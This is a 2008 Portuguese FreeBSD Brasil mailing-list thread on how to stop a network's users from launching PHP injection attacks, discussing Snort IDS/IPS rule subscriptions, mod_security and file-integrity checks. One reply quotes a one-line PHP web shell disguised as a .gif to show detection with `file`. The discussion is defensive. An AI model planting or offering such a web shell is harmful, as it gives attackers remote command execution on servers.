[FUG-BR] OT-Ataque PHP injection
Patrick Tracanelli
eksffa em freebsdbrasil.com.br
Sexta Fevereiro 22 12:26:57 BRT 2008
Patrick Tracanelli escreveu:
> Marcelo M. Fleury escreveu:
>> Olá,
>>
>> até onde eu entendi, o interesse da Cristina é em não ser uma provedora de
>> códigos maliciosos, no caso PHP.
>
> Então entendemos coisas distintas. Ao meu ver ela nao quer q usuarios
> internos façam ataque de injection em qualquer q seja o destino/alvo.
Ou melhor, *não* façam.
>
>> Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques
>> a rede/host, e sim de que a rede ou host seja uma provedora de ataques...
>
> E qual é a diferença? Sendo um IDS de rede, sua função é filtrar os 2
> fluxos, o que sai e o que entra na/da rede. Ainda não entendi a
> relutancia hehe.
>
> na
>> realidade não conheço solução voltada para isso... existe o mod_security
>
> A solução é o IPS/IDs hehe ;)
>
> O mod_security é fantastico, mas não se aplica, nem de longe, ao que ela
> quer. O mod_security é o mais indicado pra proteger exclusivamente o
> Apache local. É um DSO e como tal roda no mesmo nível do httpd. Portanto
> sequer, é capaz de identificar padrões iniciados da maquina com
> mod_security para outros destinos. Apenas quando o destino final é o
> Apache (serviço httpd).
>
> do
>> apache que pode te ajudar a monitorar e filtrar suas aplicações.
>>
>> Penso em algum programa que cheque a integridade de arquivos no servidor,
>> algo parecido com o file:
>>
>> marcelo em mmf:~$ cat sh.gif
>> <?php
>> system($_GET['sh']);
>> ?>
>> marcelo em mmf:~$ file sh.gif
>> sh.gif: PHP script text
>>
>> e depois, habilitar alguns filtros no mod_security buscando checar qualquer
>> uso indevido do php... confesso que não conheço muito o mod_security, uma
>> vez que não trampo mais como sysadmin e sim como desenvolvedor(quero arrumar
>> um tempo para brincar com ele).
>>
>> Acredito que no mais é realizar auditorias... procurar nos logs do apache
>> por qualquer comando... estilo uname, id, ls ... nada que o cat,grep,awk não
>> resolva!
>
> Eu discordo plenamente. Olhar logs é forense. Segurança tem que ser
> pro-ativa.
>
> E pelo que entendi na situação da Cristina ela não terá logs do Apache
> ou PHP pra olhar, ja que ela quer evitar que ataques sejam provenientes
> de seu ambiente, nao destinados a ele (ou pelo menos ambos os casos).
>
>> Espero ter ajudado, boa sorte!
>>
>>
>> Em 22/02/08, William Grzybowski <william88 em gmail.com> escreveu:
>>> Oi Patrick,
>>>
>>> Não sei se entendi muito bem, poderia me dar uma luz?
>>> Php injection, como próprio nome ja diz é a inserção de codigo php
>>> causado por código mal escrito que permito o injeção de código php
>>> externo no servidor, correto?
>>>
>>> Como que funcionam essas regras que você falou? Essas empresas liberam
>>> regras que atuam (obviamente) na ""camada"" do HTTP e analizam o
>>> trafego para os softwares vulneraveis que eles tem conhecimento e
>>> inclusao direta de scripts em servidores externos?
>>>
>>> Vlw
>>>
>>> 2008/2/21 Patrick Tracanelli <eksffa em freebsdbrasil.com.br>:
>>>
>>>> Cristina Fernandes Silva escreveu:
>>>>
>>>>> É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance
>>>> > ? ou somente as regras que posso usar no snort.
>>>>
>>>> Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios
>>>> precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte,
>>>> não importa se é uma multinacional, pagara como pequeno. No site da
>>>> SourceFire tem todos os detalhes sobre preços.
>>>>
>>>> São só as regras a principio, mas pode comprar o sistema deles. Não
>>>> conheço quem use no país o sistema deles. Mas não parece ser mais do
>>> que
>>>> o Snort com um front-end muito amigável.
>>>>
>>>> No caso da Juniper tem direito automaticamente a versão convertida pra
>>>> Snort todos que tem Juniper série 5000 e já pague a licença anual do
>>> IPS
>>>> (que é um add-on no firewall Juniper).
>>>>
>>>> No Brasil quem representa a venda das assinaturas Source Fire é a
>>>> BRConnection.
>>>>
>>>>
>>>>
>>>> >
>>>> >
>>>> >
>>>> > Em 21/02/08, Patrick Tracanelli<eksffa em freebsdbrasil.com.br>
>>> escreveu:
>>>> >> Cristina Fernandes Silva escreveu:
>>>> >>
>>>> >>> Acho que não fui clara, Vou explicar,
>>>> >> >
>>>> >> > Quero evitar que alguem da minha rede use o meu ip (endereço )
>>> para
>>>> >> > fazer ataques
>>>> >> > de php injection para outro endereço externo. Até mesmo os meus
>>>> >> > usuarios interno fazer algum ataque para servidores externos..
>>>> >>
>>>> >>
>>>> >> Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível
>>> de
>>>> >> satisfação vai depender da qualidade das regras de análise de
>>> instrusão
>>>> >> que você utilizar. Isso quer dizer que dependendo do nível de
>>> seriedade
>>>> >> da empresa será proveitoso assinar um serviço (comercial) que
>>> oferece
>>>> >> regras testadas e atualizadas. Apesar da escolha natural ser Source
>>>> >> Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas
>>> pela
>>>> >> Juniper. São as mesmas utilizadas no Juniper série 5000,
>>> convertidas pro
>>>> >> Snort.
>>>> >>
>>>> >> -------------------------
>>>> >> Histórico: http://www.fug.com.br/historico/html/freebsd/
>>>> >> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>>> >>
>>>> > -------------------------
>>>> > Histórico: http://www.fug.com.br/historico/html/freebsd/
>>>> > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>>>
>>>> -------------------------
>>>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>>>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>>>
>>>
>>>
>>> --
>>>
>>> William Grzybowski
>>> ------------------------------------------
>>> Jabber: william88 at gmail dot com
>>> Curitiba/PR - Brazil
>>> -------------------------
>>>
>>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>>
>>
>>
>
>
--
Patrick Tracanelli
FreeBSD Brasil LTDA.
Tel.: (31) 3516-0800
316601 em sip.freebsdbrasil.com.br
http://www.freebsdbrasil.com.br
"Long live Hanin Elias, Kim Deal!"
Mais detalhes sobre a lista de discussão freebsd